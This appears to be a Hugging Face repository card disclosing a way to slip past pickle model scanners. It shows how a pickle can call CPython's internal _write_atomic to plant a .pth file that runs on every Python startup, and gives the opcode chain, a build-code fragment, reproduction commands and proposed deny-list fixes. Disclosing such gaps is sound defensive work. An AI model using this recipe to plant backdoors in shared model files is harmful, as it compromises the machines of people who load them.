license: openrail
tags:
- security
- adversarial
- pickle
- model-scanner-bypass
- red-team
extra_gated_prompt: >
This repository contains a proof-of-concept exploit payload for security
research purposes. Access to the pickle payload and PoC code requires
acknowledgement of responsible use. By requesting access, you confirm you are
a security researcher, penetration tester, or student using this material for
defensive/educational purposes only.
extra_gated_fields:
Organization: text
Intended use: text
I agree to use this only for defensive security research: checkbox
CPython _write_atomic + .pth β Persistent Backdoor
Security Research β Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request β see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 0 | 3 | Yes β 0 CRITICAL |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
_frozen_importlib_external._write_atomic(path, data, mode) writes raw bytes to any writable path. It is a CPython internal function used for writing .pyc cache files.
Why it's not caught: modelaudit bans importlib as a module prefix. But _frozen_importlib_external does not match that prefix β Python treats the underscore-prefixed CPython internals as separate modules despite their related functionality. This is a systematic gap: underscore-prefixed internal modules implement the same dangerous capabilities as their public counterparts but escape the deny list.
The .pth mechanism: Python's site module reads every .pth file in site-packages on startup. Any line starting with import is exec()'d. Writing one .pth creates a backdoor that:
- Executes on every
pythoninvocation, not just once - Survives reboots
- Persists until manually discovered and removed
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build(canary_path: str, pth_name: str) -> bytes:
payload_source = f"import os; os.system('echo pth_pwned > {canary_path}')"
rot13_payload = codecs.encode(payload_source, "rot_13")
ops = bytearray(b"\x80\x04")
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) β any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-cpython-pth-persistence
cd pickle-bypass-cpython-pth-persistence
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan β observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
- Add
_frozen_importlib,_frozen_importlib_externaltoALWAYS_DANGEROUS_MODULES - Or add
_frozen_importlib_external._write_atomictoALWAYS_DANGEROUS_FUNCTIONS - Flag any pickle that writes files during deserialization as CRITICAL
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently β the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
CPython _write_atomic + .pth β Persistent Backdoor
Score: 0 CRITICAL, 3 WARNING
Effect: Permanent backdoor β executes on every future Python startup
Scanner version: modelaudit 0.2.37
Mechanism
_frozen_importlib_external._write_atomic(path, data, mode) writes raw bytes to any writable path. It is a CPython internal function used for writing .pyc cache files.
Why it's not caught: modelaudit bans importlib as a module prefix. But _frozen_importlib_external does not match that prefix β Python treats the underscore-prefixed CPython internals as separate modules despite their related functionality. This is a systematic gap: underscore-prefixed internal modules implement the same dangerous capabilities as their public counterparts but escape the deny list.
The .pth mechanism: Python's site module reads every .pth file in site-packages on startup. Any line starting with import is exec()'d. Writing one .pth creates a backdoor that:
- Executes on every
pythoninvocation, not just once - Survives reboots
- Persists until manually discovered and removed
Pickle Structure
sysconfig.get_path('purelib') β site-packages dir [WARNING 1]
operator.add(dir, '/backdoor.pth') β full path [WARNING 2]
_codecs.encode(rot13_payload, 'rot_13') β source string [0 findings]
_codecs.encode(source, 'utf-8') β payload bytes [0 findings]
_write_atomic(full_path, payload_bytes, 0o666) β writes .pth [WARNING 3]
Attack Flow
- Victim downloads malicious model from HuggingFace
- Victim calls
joblib.load("model.pkl")orpickle.loads(...) - Pickle silently writes
_evil.pthto site-packages - Load returns normally (victim sees a model or None)
- Every future
pythoninvocation on that machine executes the .pth code - Backdoor persists until someone manually discovers and deletes the .pth file
Recommended Fixes
- Add
_frozen_importlib,_frozen_importlib_externaltoALWAYS_DANGEROUS_MODULES - Or add
_frozen_importlib_external._write_atomictoALWAYS_DANGEROUS_FUNCTIONS - Flag any pickle that writes files during deserialization as CRITICAL
General Analysis β Security Research